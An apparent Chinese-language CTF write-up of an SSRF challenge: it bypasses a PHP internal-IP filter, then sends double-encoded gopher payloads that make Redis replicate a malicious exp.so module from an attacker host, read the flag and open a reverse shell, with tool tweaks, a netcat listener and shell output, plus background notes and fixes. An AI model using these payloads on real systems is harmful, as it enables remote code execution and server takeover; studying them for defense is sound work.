1. 题目背景与代码审计
题目核心是一个SSRF(服务端请求伪造)漏洞,目标是通过构造恶意请求绕过内网IP检测,访问本地hint.php
,并利用Redis主从复制实现远程代码执行(RCE)。代码关键点如下:
- 内网IP检测逻辑 :
check_inner_ip
函数通过解析URL的host
部分,将其转换为IP地址,并与内网IP段(127.0.0.0/8、10.0.0.0/8等)对比。若检测到内网IP,则拒绝请求。 - SSRF触发点 :
safe_request_url
函数使用cURL发起请求,若存在重定向(如302跳转),会递归调用自身处理重定向后的URL。 - 详细代码审计见文章结尾。
2. 解题流程
2.1 绕过内网IP限制访问hint.php
-
绕过方法 :
利用0.0.0.0
作为本地地址的别名特性,构造请求:
?url=http://0.0.0.0/hint.php
;或使用@
符号混淆:?url=http://[email protected]/hint.php
(见结尾parse_url
解析 部分);或使用IPv6绕过限制:?url=http://[0:0:0:0:0:ffff:127.0.0.1]//hint.php
(见结尾IPv6
绕过 部分)。 -
hint.php
内容 :
若请求来自127.0.0.1
,显示以下代码:phpif($_SERVER['REMOTE_ADDR']==="127.0.0.1"){ highlight_file(__FILE__); } if(isset($_POST['file'])){ file_put_contents($_POST['file'], "<?php echo 'redispass is root';exit();".$_POST['file']); }
提示Redis密码为
root
,但直接写入文件失败(权限不足),需转向Redis攻击。
2.2 Redis主从复制攻击
- 攻击原理 :
Redis 4.x~5.0.5
支持主从复制,从机(靶机)可加载恶意模块(.so
文件)实现RCE
(Remote Code Execution,远程代码执行) 。需利用SSRF向Redis发送命令,使其连接至攻击者控制的"主服务器"并加载恶意模块。Payload需二次URL编码以确保传输正确。 - 攻击步骤:
-
攻击机开启主服务器 :
需要利用到两个工具:Awsome-Redis-Rogue-Server 与redis-rogue-server 详细介绍参考我的文章工具介绍《Awsome-Redis-Rogue-Server 与 redis-rogue-server》。先下载这两个工具,地址分别为:
https://github.com/n0b0dyCN/redis-rogue-server
和https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
。替换Awsome-Redis-Rogue-Server
的模块为redis-rogue-server
的exp.so
(含system
命令模块),启动恶意主节点并加载该模块执行命令。redis_rogue_server.py
位于Awsome-Redis-Rogue-Server
项目中,redis-rogue-server.py
位于redis-rogue-server
注意不要把两个搞混。bashpython3 redis_rogue_server.py -v -path exp.so -lport 21000
-
. 修改 Redis 持久化文件(如 RDB 快照)的存储目录 :
gopher协议具体介绍见文章基础知识《Gopher协议》。发送命令设置存储目录为
/tmp
(有写权限),编码后Payload: (%0d
和0x0a
分别代表回车符(CR,ASCII 13) 和 换行符(LF,ASCII 10) ,%
编码之后是%25
)urlgopher://0.0.0.0:6379/_auth root # 尝试使用密码 `root` 进行 Redis 认证 config set dir /tmp/ # 修改 Redis 持久化文件(如 RDB 快照)的存储目录为 `/tmp/` quit # 退出 Redis 连接 # 经过两次url编码 gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit
-
设置主从复制关系,数据同步 :
指定恶意Redis服务器(如攻击者IP
174.1.185.67:21000
)为主节点,并设置持久化文件名为exp.so
:urlgopher://0.0.0.0:6379/_auth root config set dbfilename exp.so # 将 Redis 持久化文件(如 RDB 快照)的名称设置为 `exp.so` slaveof 174.1.185.67 21000 # 将当前 Redis 实例设置为 IP `174.1.185.67` 端口 `21000` 的从节点,接受主节点的数据同步 quit # 经过两次url编码 gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520174.1.185.67%252021000%250d%250aquit
-
加载恶意模块:
redisgopher://0.0.0.0:6379/_auth root module load /tmp/exp.so quit gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520/tmp/exp.so%250d%250aquit
-
关闭主从同步:
redisgopher://0.0.0.0:6379/_auth root slaveof NO ONE quit gopher://0.0.0.0:6379/_auth%2520root%250d%250aslaveof%2520NO%2520ONE%250d%250aquit
-
导出数据库:
redisgopher://0.0.0.0:6379/_auth root config set dbfilename dump.rdb quit gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520dump.rdb%250d%250aquit
-
获取
flag
:redisgopher://0.0.0.0:6379/_auth root system.exec "cat /flag" quit gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.exec%2520%2522cat%2520%252Fflag%2522%250d%250aquit
2.3 解法二:反弹shell
:
redis
# 攻击机监听 6666
nc -lvvp 6666
redis
# 如攻击者IP `174.1.185.67:6666`
gopher://0.0.0.0:6379/_auth root
system.rev 174.1.185.67 6666
quit
gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.rev%2520174.1.185.67%25206666%250d%250aquit
bash
dir
exp.so pear
dir /
bin dev flag home lib64 mnt proc run srv sys usr
boot etc flag.sh lib media opt root sbin start.sh tmp var
cat /flag
flag{dca2cded-fb98-4b9b-a92b-c040fc8c0c2f}
2.4 解法三:redis-ssrf
:
工具:redis-ssrf以及上文提到的redis-rogue-server。redis-ssrf
地址:https://github.com/xmsec/redis-ssrf
。
过程:
-
复制.so文件到redis-ssrf目录中;
-
修改ssrf-redis.py文件:
python# 需要修改三部分源代码: # 第一部分源代码: elif mode==3: lhost="192.168.1.100" lport="6666" command="whoami" # 修改代码一: elif mode==3: lhost="攻.击.机.ip" lport="攻击机端口" # 端口可以修改,但是要求与redis-rogue-server.py主函数中的lport一致 command="cat /flag" # 要执行的命令 # 第二部分源代码: ip="127.0.0.1" port="6379" payload=protocol+ip+":"+port+"/_" # 修改代码二: ip="0.0.0.0" port="6379" payload=protocol+ip+":"+port+"/_" # 第三部分源代码: # input auth passwd or leave blank for no pw passwd = '' # 修改代码三: # input auth passwd or leave blank for no pw passwd = 'root'
-
修改完成后运行产生payload:
gopher://0.0.0.0:6379/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Aroot%0D%0A%2A3%0D%0A%247%0D%0ASLAVEOF%0D%0A%2413%0D%0A192.168.1.100%0D%0A%244%0D%0A6666%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%245%0D%0A/tmp/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%246%0D%0Aexp.so%0D%0A%2A3%0D%0A%246%0D%0AMODULE%0D%0A%244%0D%0ALOAD%0D%0A%2411%0D%0A/tmp/exp.so%0D%0A%2A2%0D%0A%2411%0D%0Asystem.exec%0D%0A%246%0D%0Awhoami%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A
-
对payload再次进行url编码确保正常运行:
gopher%253A%252F%252F0.0.0.0%253A6379%252F_*2%250A%25244%250AAUTH%250A%25244%250Aroot%250A*3%250A%25247%250ASLAVEOF%250A%252413%250A192.168.1.100%250A%25244%250A6666%250A*4%250A%25246%250ACONFIG%250A%25243%250ASET%250A%25243%250Adir%250A%25245%250A%252Ftmp%252F%250A*4%250A%25246%250Aconfig%250A%25243%250Aset%250A%252410%250Adbfilename%250A%25246%250Aexp.so%250A*3%250A%25246%250AMODULE%250A%25244%250ALOAD%250A%252411%250A%252Ftmp%252Fexp.so%250A*2%250A%252411%250Asystem.exec%250A%25246%250Awhoami%250A*1%250A%25244%250Aquit
-
运行
redis-rogue-server.py
并注入payload:?url=gopher%253A%252F%252F0.0.0.0%253A6379%252F_*2%250A%25244%250AAUTH%250A%25244%250Aroot%250A*3%250A%25247%250ASLAVEOF%250A%252413%250A192.168.1.100%250A%25244%250A6666%250A*4%250A%25246%250ACONFIG%250A%25243%250ASET%250A%25243%250Adir%250A%25245%250A%252Ftmp%252F%250A*4%250A%25246%250Aconfig%250A%25243%250Aset%250A%252410%250Adbfilename%250A%25246%250Aexp.so%250A*3%250A%25246%250AMODULE%250A%25244%250ALOAD%250A%252411%250A%252Ftmp%252Fexp.so%250A*2%250A%252411%250Asystem.exec%250A%25246%250Awhoami%250A*1%250A%25244%250Aquit
3. 关键知识点
-
SSRF绕过技巧:
- 利用
0.0.0.0
、localhost
别名或DNS重绑定绕过IP检测。 - 使用
@
符号混淆URL路径(如http://user@host
)。
- 利用
-
Gopher协议构造 :
Gopher支持多行命令,需将Redis命令转换为URL编码格式,并注意换行符
\r\n
的编码(%0D%0A
)。 -
Redis主从复制漏洞:
- 通过
slaveof
命令控制从机连接恶意主节点。 - 利用
.so
模块实现任意命令执行(需Redis未授权访问或已知密码)。
- 通过
4. 协议与目标解析
gopher://0.0.0.0:6379/_
- 协议类型 :使用
gopher
协议,常用于 SSRF 攻击,支持向任意服务发送原始 TCP 数据流 。 - 目标地址 :
0.0.0.0:6379
表示本地 Redis 服务的默认端口(6379)。
- 协议类型 :使用
5. Redis 命令解析
更多Redis命令见文章基础知识《Redis 解析》。
(1)auth root
- 功能 :尝试使用密码
root
进行 Redis 认证。 - 攻击场景 :
- 若 Redis 配置了密码且密码为
root
,此命令用于绕过认证限制 。 - 若目标 Redis 未授权访问(无密码),此命令可能被忽略或触发错误。
- 若 Redis 配置了密码且密码为
(2)config set dir /tmp/
- 功能 :修改 Redis 持久化文件(如 RDB 快照)的存储目录为
/tmp/
。 - 攻击意图 :
- 为后续写入恶意文件(如 webshell、SSH 公钥、计划任务等)到
/tmp/
目录做准备。该目录通常具有全局可写权限,便于攻击者操作 。 - 常见利用路径包括:
- Webshell :设置为 Web 根目录(如
/var/www/html
),写入 PHP 后门。 - SSH 公钥 :设置为
/root/.ssh
,写入authorized_keys
文件实现免密登录。 - Cron 任务 :设置为
/var/spool/cron
,写入定时任务反弹 Shell 。
- Webshell :设置为 Web 根目录(如
- 为后续写入恶意文件(如 webshell、SSH 公钥、计划任务等)到
(3)quit
- 功能:退出 Redis 连接。
(4)config set dbfilename exp.so
- 功能 :将 Redis 持久化文件(如 RDB 快照)的名称设置为
exp.so
。 - 攻击意图 :
- 为后续通过 主从复制 加载恶意
.so
模块做准备。exp.so
通常是攻击者编译的恶意动态链接库,包含可执行代码 。
- 为后续通过 主从复制 加载恶意
(5)slaveof 174.1.185.67 21000
- 功能 :将当前 Redis 实例设置为 IP
174.1.185.67
端口21000
的从节点,接受主节点的数据同步。 - 攻击流程 :
- 恶意主节点控制 :攻击者在
174.1.185.67:21000
运行伪造的 Redis 主节点,包含恶意模块文件exp.so
。 - 数据同步 :从节点(目标 Redis)自动从主节点下载
exp.so
并保存到dbfilename
指定的路径。 - 模块加载 :后续通过
MODULE LOAD
命令加载exp.so
,执行任意系统命令(如反弹 Shell)。
- 恶意主节点控制 :攻击者在
(6)MODULE LOAD /tmp/exp.so
- 功能 :动态加载位于
/tmp/exp.so
的恶意模块。 - 攻击意图 :
- 自定义命令注入 :
exp.so
包含通过RedisModule_CreateCommand
注册的自定义命令(如system.exec
和system.rev
),用于执行系统级操作 。 - 隐蔽性:通过模块注入而非直接写入文件,可实现无文件攻击,规避传统文件监控 。
- 自定义命令注入 :
(7)SLAVEOF NO ONE
- 功能:停止当前 Redis 实例的主从复制关系,恢复为主节点。
- 攻击意图 :
- 清理痕迹:在完成主从复制攻击(如恶意模块同步)后,解除从节点身份,避免后续异常同步引起怀疑 。
(8)CONFIG SET dbfilename dump.rdb
- 功能 :将持久化文件名恢复为默认的
dump.rdb
。 - 攻击意图 :
- 伪装正常操作 :覆盖此前通过
dbfilename
设置的恶意文件(如exp.so
或 Webshell),减少被检测的风险 。
- 伪装正常操作 :覆盖此前通过
(9)system.exec "cat /flag"
- 功能 :执行系统命令
cat /flag
,读取服务器上的敏感文件(如 flag 文件)。 - 攻击意图 :
- 数据窃取:直接利用恶意模块注入的系统命令执行能力,绕过应用层权限限制,获取服务器敏感信息 。
(10)system.rev 174.1.185.67 6666
- 功能 :通过恶意模块建立的反弹 Shell 连接,将服务器控制权移交至攻击者 IP
174.1.185.67
的 6666 端口。 - 攻击意图 :
- 持久化控制:建立反向连接后,攻击者可完全操控服务器,进行内网横向渗透或数据窃取 。
代码审计:
php
<?php
/**
* 检查给定URL是否指向内网IP地址
* @param string $url 待检查的URL
* @return bool 如果是内网IP返回true,否则false
*/
function check_inner_ip($url)
{
// 使用正则验证URL格式(允许http/https/gopher/dict协议)
$match_result = preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/', $url);
if (!$match_result) {
die('url fomat error'); // 格式错误立即终止程序
}
try {
// 解析URL获取各组成部分
$url_parse = parse_url($url);
} catch (Exception $e) {
die('url fomat error'); // 异常处理(实际parse_url不会抛异常,此处逻辑存在问题)
return false;
}
$hostname = $url_parse['host']; // 提取主机名
$ip = gethostbyname($hostname); // DNS解析获取IP地址
$int_ip = ip2long($ip); // 将IP转为整数格式
// 检查是否属于私有IP范围:可以尝试0.0.0.0绕过
return ip2long('127.0.0.0') >> 24 == $int_ip >> 24 || // 127.0.0.0/8
ip2long('10.0.0.0') >> 24 == $int_ip >> 24 || // 10.0.0.0/8
ip2long('172.16.0.0') >> 20 == $int_ip >> 20 || // 172.16.0.0/12
ip2long('192.168.0.0') >> 16 == $int_ip >> 16; // 192.168.0.0/16
}
/**
* 安全请求URL(理论上应该阻止访问内网资源)
* @param string $url 要请求的URL
*/
function safe_request_url($url)
{
if (check_inner_ip($url)) {
echo $url . ' is inner ip'; // 内网地址拦截提示
} else {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url); // 设置请求URL
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // 返回响应结果
curl_setopt($ch, CURLOPT_HEADER, 0); // 不包含响应头
$output = curl_exec($ch); // 执行请求
$result_info = curl_getinfo($ch); // 获取请求信息
// 递归处理重定向(存在SSRF风险)
if ($result_info['redirect_url']) {
safe_request_url($result_info['redirect_url']);
}
curl_close($ch);
var_dump($output); // 输出响应内容
}
}
// 主程序逻辑
if (isset($_GET['url'])) {
$url = $_GET['url'];
if (!empty($url)) {
safe_request_url($url); // 处理用户输入的URL
}
} else {
highlight_file(__FILE__); // 无参数时显示源代码
}
// 提示本地访问hint.php(可能存在提示信息)
php
<?php
$ip1_long = ip2long('127.0.0.0'); // 将 IPv4 地址 `127.0.0.0` 转换为 32 位整数
$ip2_long = ip2long('192.168.0.0');
var_dump($ip1_long);
// 32位系统中:结果为 `2130706432`(十进制)或 `0x7F000000`(十六进制)
// 64 位系统中:结果相同,但 PHP 会以无符号整数处理。
$shifted = $ip1_long >> 24;
var_dump($shifted); // int(127) 右移24位等价于取高8位,A 类地址的第一个字节
var_dump($ip2_long >> 16); // int(49320) 右移16位等价于取高16位
$input_url1 = ip2long('127.0.1.193');
$input_url2 = ip2long('193.0.1.193');
$ip1 = $input_url1 >> 24;
$ip2 = $input_url2 >> 24;
var_dump($shifted == $ip1); // bool(true)
var_dump($shifted == $ip2); // bool(false)
var_dump($shifted == $ip1||$shifted == $ip2); // bool(true)
# OUTPUT:
int(2130706432)
int(127)
int(49320)
bool(true)
bool(false)
bool(true)
Redis主从复制攻击
Redis主从复制攻击是指攻击者利用Redis主从架构的配置缺陷或漏洞,通过控制主节点或从节点实现未授权访问、数据泄露、远程代码执行(RCE)等恶意行为。以下是此类攻击的核心原理、常见手法及防御建议:
一、攻击原理
-
主从复制的机制漏洞 Redis主从复制默认基于异步通信,主节点(Master)将数据同步给从节点(Slave)。若主节点存在未授权访问或弱密码,攻击者可伪造从节点(Slave)身份,强制主节点发送数据或执行恶意命令,例如加载恶意模块(如
.so
文件)实现代码执行。 -
未授权访问与横向移动 Redis默认监听6379端口且早期版本无密码认证。攻击者通过暴露的Redis实例建立主从关系,利用
SLAVEOF
命令将目标Redis设置为从节点,进而控制主节点发送恶意数据(如恶意Lua脚本或模块)。 -
缓冲区溢出与代码执行 Redis的Lua脚本引擎(如CVE-2024-31449、CVE-2024-46981)存在堆栈溢出漏洞,攻击者可通过主从复制传递特制Lua脚本触发漏洞,导致远程代码执行(RCE)。
二、常见攻击手法
-
恶意模块加载攻击
- 步骤 :攻击者搭建恶意主节点,生成包含后门的
.so
文件(如利用RedisModules-ExecuteCommand工具),诱导目标Redis作为从节点连接。主节点通过MODULE LOAD
命令强制从节点加载恶意模块,获得反弹Shell或执行系统命令 。 - 案例 :工具
redis-rce
通过生成恶意.so
文件结合主从复制实现RCE 。
- 步骤 :攻击者搭建恶意主节点,生成包含后门的
-
数据覆写与权限提升
- 通过
CONFIG SET dir
和CONFIG SET dbfilename
修改Redis持久化路径,将SSH公钥写入目标服务器的authorized_keys
文件,获取SSH登录权限 。
- 通过
-
Lua脚本漏洞利用
- 利用Lua脚本引擎的缓冲区溢出漏洞(如CVE-2024-31449),通过主从复制传递恶意脚本触发堆栈溢出,实现代码执行 。
三、防御建议
-
访问控制与认证
- 设置强密码(
requirepass
参数),禁用未授权访问 。 - 使用防火墙限制Redis端口(6379)仅对可信IP开放 。
- 设置强密码(
-
配置加固
- 禁用高危命令(如
FLUSHALL
、MODULE
),通过rename-command
重命名危险指令。 - 调整
client-output-buffer-limit
防止复制缓冲区溢出导致连接中断 。
- 禁用高危命令(如
-
漏洞修复与升级
- 升级至安全版本(Redis 7.2.6+、7.4.1+),修复Lua引擎漏洞 。
- 定期检查并应用安全补丁,尤其是涉及Lua和主从复制的CVE 。
-
架构优化
- 使用哨兵(Sentinel)模式实现自动故障转移,避免手动切换主从时暴露攻击面 。
- 分离主节点与从节点部署,避免单点故障导致全量同步风暴 。
四、入侵溯源与应急响应
- 异常连接排查 :检查Redis日志及网络连接(
netstat
),关注非常规端口(如8888)的反弹。 - 历史命令审计 :分析Redis命令历史(
~/.rediscli_history
)及系统日志,查找可疑的wget
、curl
等下载行为 。 - 进程监控 :使用
ps
或top
检查异常进程,如未知的Shell会话或恶意模块加载 。
PHP中的 $_SERVER
超全局数组详解
$_SERVER[]
是PHP中一个预定义的超全局数组,用于存储服务器环境、请求头信息、脚本路径等与HTTP请求和服务器配置相关的数据。以下是对其核心功能、常用参数及安全注意事项的详细解析:
一、核心特性与作用
-
超全局性
$_SERVER
在所有脚本作用域中自动生效,无需使用global
声明即可访问。其内容由Web服务器生成,不同服务器(如Apache、Nginx)可能提供的信息存在差异。 -
数据类型与范围
- 包含字符串键值对 ,如
$_SERVER['REMOTE_ADDR']
表示客户端IP地址。 - 涵盖服务器软件版本、请求方法、脚本路径、HTTP头信息等 。
- 包含字符串键值对 ,如
-
与
$HTTP_SERVER_VARS
的区别$HTTP_SERVER_VARS
是旧版全局变量,需手动声明作用域(如global
),而$_SERVER
是自动全局变量。- 在PHP 4.1.0+版本中,推荐使用
$_SERVER
。
二、常用参数与用途
参数 | 描述 | 示例值 |
---|---|---|
$_SERVER['PHP_SELF'] |
当前执行脚本的文件名(相对于文档根目录)。常用于表单自提交场景。 | /index.php |
$_SERVER['REQUEST_METHOD'] |
请求方法(GET、POST、PUT等)。用于判断请求类型。 | GET |
$_SERVER['REMOTE_ADDR'] |
客户端IP地址。注意可能受代理影响,需结合 HTTP_X_FORWARDED_FOR 分析。 |
192.168.1.100 |
$_SERVER['HTTP_USER_AGENT'] |
客户端浏览器和操作系统信息。常用于设备检测或日志记录。 | Mozilla/5.0 (Windows NT 10.0...) |
$_SERVER['DOCUMENT_ROOT'] |
服务器文档根目录绝对路径。用于文件操作或路径拼接。 | /var/www/html |
$_SERVER['SCRIPT_FILENAME'] |
当前脚本的绝对路径。与 __FILE__ 常量等价。 |
/var/www/html/index.php |
$_SERVER['HTTP_REFERER'] |
用户访问当前页的前一页URL。可能为空或被伪造,需谨慎验证。 | https://www.google.com |
$_SERVER['HTTPS'] |
是否通过HTTPS访问(值为 on 或 off )。用于判断协议安全性。 |
on |
$_SERVER['QUERY_STRING'] |
URL中的查询字符串(? 后的部分)。常用于参数解析。 |
id=123&name=test |
三、安全注意事项
-
防止XSS攻击
- 直接输出
$_SERVER['PHP_SELF']
可能导致XSS漏洞。建议使用htmlspecialchars()
转义:
phpecho htmlspecialchars($_SERVER['PHP_SELF']);
- 直接输出
-
验证来源与客户端信息
HTTP_REFERER
和HTTP_USER_AGENT
可被伪造,不可依赖其进行敏感操作(如身份验证)。
-
敏感信息泄露
- 避免在生产环境打印完整
$_SERVER
内容(如通过print_r($_SERVER)
),以防暴露服务器配置细节 。
- 避免在生产环境打印完整
四、高级用法与场景
-
动态路径处理 使用
$_SERVER['DOCUMENT_ROOT']
结合__DIR__
拼接文件路径,增强跨平台兼容性:php$config_path = $_SERVER['DOCUMENT_ROOT'] . '/config/database.php';
-
请求协议判断
判断是否启用HTTPS:
php$is_https = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off');
-
日志记录与调试
记录客户端IP和请求时间:
php$log_entry = date('Y-m-d H:i:s') . ' - IP: ' . $_SERVER['REMOTE_ADDR']; file_put_contents('access.log', $log_entry, FILE_APPEND);
五、与其他超全局变量的关系
$_GET
和$_POST
:专门处理GET/POST参数,而$_SERVER
提供元数据(如请求方法)。$_ENV
:存储系统环境变量(如PATH),需在php.ini
中配置variables_order
包含E
(E
表示启用环境变量) 才生效 ,即variables_order
参数,默认值通常为"GPCS"
将其改为"EGPCS"
。
IPv6
绕过
1. 关键漏洞:未正确处理 IPv6 地址
函数的核心逻辑是提取 URL 的 host
并解析为 IPv4 地址,但未考虑 IPv6 地址的兼容性 。
当 URL 使用 IPv4 映射的 IPv6 地址 (如 [::ffff:127.0.0.1]
)时:
parse_url
会提取host
为0:0:0:0:0:ffff:127.0.0.1
(IPv6 格式)。gethostbyname
无法正确解析此类地址,可能直接返回原字符串或无效值。ip2long
仅支持 IPv4 ,遇到非 IPv4 字符串会返回false
,导致后续逻辑失效。
2. 逐步漏洞分析
步骤 1:正则表达式绕过
URL http://[0:0:0:0:0:ffff:127.0.0.1]//hint.php
符合正则规则:
php
preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/', $url);
正则未严格校验主机名格式(如 IPv6 的方括号语法),导致绕过。
步骤 2:parse_url 解析结果
parse_url
提取的 host
为 0:0:0:0:0:ffff:127.0.0.1
(去除方括号后的 IPv6 地址)。
步骤 3:gethostbyname 解析失败
gethostbyname
尝试解析 0:0:0:0:0:ffff:127.0.0.1
:
- 该地址本质是 IPv4 映射的 IPv6 地址(对应
127.0.0.1
),但gethostbyname
默认只支持 IPv4,无法识别此格式。 - 返回结果为原字符串
0:0:0:0:0:ffff:127.0.0.1
,而非预期的127.0.0.1
。
步骤 4:ip2long 转换失败
php
$ip = '0:0:0:0:0:ffff:127.0.0.1'; // 非 IPv4 格式
$int_ip = ip2long($ip); // 返回 false
-
ip2long
无法处理非 IPv4 地址,返回false
。 -
false
转换为整数时为0
,后续比较逻辑完全失效:php// 所有条件均为 false 127.0.0.0 >>24 == 0 >>24 // 127 vs 0 → false 10.0.0.0 >>24 == 0 >>24 // 10 vs 0 → false ...
-
函数错误地返回
false
(认为非内网 IP),但实际目标为127.0.0.1
(应被拦截)。
3. 根本原因
- IPv6 盲区:函数仅针对 IPv4 设计,未处理 IPv6 地址(尤其是 IPv4 映射的 IPv6 地址)。
- 依赖脆弱函数 :
gethostbyname
+ip2long
组合无法安全解析混合格式的 IP。 - 错误处理缺失 :未校验
ip2long
的返回值是否为合法 IPv4。
4. 修复方案
方案 1:强制使用 IPv4 解析
使用 filter_var
直接提取 IPv4 地址:
php
$ip = filter_var($hostname, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4);
if ($ip === false) {
// 非 IPv4 地址,直接拒绝
return false;
}
方案 2:支持 IPv6 检测
使用 inet_pton
兼容 IPv4/IPv6:
php
// 检测是否为 IPv4 映射的 IPv6 地址(如 ::ffff:127.0.0.1)
$packed = inet_pton($hostname);
if ($packed && strpos($hostname, '::ffff:') === 0) {
$ipv4 = substr($packed, -4); // 提取后 4 字节(IPv4 部分)
$ip = implode('.', unpack('C4', $ipv4)); // 转换为 IPv4 字符串
// 后续检查 $ip 是否为内网地址
}
方案 3:使用现代网络库
换用 CURL
或 socket
直接获取目标 IP,避免解析歧义:
php
$ip = gethostbynamel($hostname);
if ($ip === false) {
return false;
}
// 检查所有解析到的 IP 是否属于内网
parse_url
解析
在 PHP 中,URL http://[email protected]/hint.php
可以绕过 check_inner_ip
函数的内网 IP 检测,原因如下:
1. URL 解析的陷阱
URL 结构分析
- URL 格式:
http://user@host/path
,其中:user
部分为abc.com
(用户名)。host
部分为0.0.0.0
(实际目标主机)。path
为/hint.php
。
parse_url
的解析结果
php
$url = 'http://[email protected]/hint.php';
$parts = parse_url($url);
// 输出:
[
'scheme' => 'http',
'host' => '0.0.0.0', // 实际目标主机
'user' => 'abc.com', // 用户名部分
'path' => '/hint.php'
]
- 关键点 :
parse_url
正确解析出host
为0.0.0.0
,但0.0.0.0
是一个特殊 IP,表示"所有本机网络接口",通常不被视为内网 IP。
2. 函数 check_inner_ip
的逻辑漏洞
函数通过以下步骤验证内网 IP:
- 提取
host
(0.0.0.0
)。 - 将
host
解析为 IP(gethostbyname('0.0.0.0')
)。 - 检查该 IP 是否属于私有 IP 段(如
10.0.0.0/8
,192.168.0.0/16
等)。
漏洞 1:0.0.0.0
未被识别为内网 IP
0.0.0.0
是特殊 IP,表示"绑定到本机所有网络接口",但不直接属于内网 IP 段 (如127.0.0.0/8
或192.168.0.0/16
)。- 函数中的条件检查未覆盖
0.0.0.0
,导致其被错误放行。
漏洞 2:gethostbyname
的行为
gethostbyname('0.0.0.0')
的返回值取决于系统环境:- 在某些系统中,
0.0.0.0
会被解析为本机 IP(如127.0.0.1
)。 - 在另一些系统中,直接返回
0.0.0.0
。
- 在某些系统中,
- 若返回
0.0.0.0
,则ip2long('0.0.0.0')
的值为0
,而函数检查条件中未覆盖该值。
3. 实际绕过过程
假设 gethostbyname('0.0.0.0')
返回 0.0.0.0
:
php
$ip = '0.0.0.0';
$int_ip = ip2long($ip); // 结果为 0
// 检查条件:
127.0.0.0 >>24 == 0 >>24 → 127 vs 0 → false
10.0.0.0 >>24 == 0 >>24 → 10 vs 0 → false
172.16.0.0 >>20 == 0 >>20 → 172.16 vs 0 → false
192.168.0.0 >>16 == 0 >>16 → 192.168 vs 0 → false
// 函数返回 false(认为非内网 IP),实际请求会发送到 0.0.0.0。
4. 安全风险
0.0.0.0
通常用于监听本机所有网络接口,攻击者可利用此 IP:- 绕过内网限制:访问本机开放的服务(如调试端口)。
- 端口扫描:探测本机开放的端口。
- SSRF 攻击:通过本机中转访问敏感服务。
5. 修复方案
方案 1:禁止 0.0.0.0
和 [::]
在检查逻辑中显式拦截特殊 IP:
php
// 新增拦截条件
$forbidden_ips = ['0.0.0.0', '::', '127.0.0.1', 'localhost'];
if (in_array($ip, $forbidden_ips)) {
return true; // 视为内网
}
方案 2:完善内网 IP 范围
扩展检查条件,覆盖更多私有 IP 段(包括 0.0.0.0
):
php
// 检查是否为内网 IP
function is_private_ip($ip) {
$long_ip = ip2long($ip);
if ($long_ip === false) return false;
// 标准私有 IP 段
$private_ranges = [
['start' => ip2long('0.0.0.0'), 'end' => ip2long('0.255.255.255')], // 0.0.0.0/8
['start' => ip2long('10.0.0.0'), 'end' => ip2long('10.255.255.255')], // 10.0.0.0/8
['start' => ip2long('127.0.0.0'), 'end' => ip2long('127.255.255.255')],// 环回地址
['start' => ip2long('172.16.0.0'), 'end' => ip2long('172.31.255.255')], // 172.16.0.0/12
['start' => ip2long('192.168.0.0'), 'end' => ip2long('192.168.255.255')],// 192.168.0.0/16
['start' => ip2long('169.254.0.0'), 'end' => ip2long('169.254.255.255')],// 链路本地地址
];
foreach ($private_ranges as $range) {
if ($long_ip >= $range['start'] && $long_ip <= $range['end']) {
return true;
}
}
return false;
}
方案 3:使用更严格的 URL 解析
禁止 URL 中包含 @
符号(用户信息字段):
php
if (strpos($url, '@') !== false) {
die('URL 包含非法字符 "@"');
}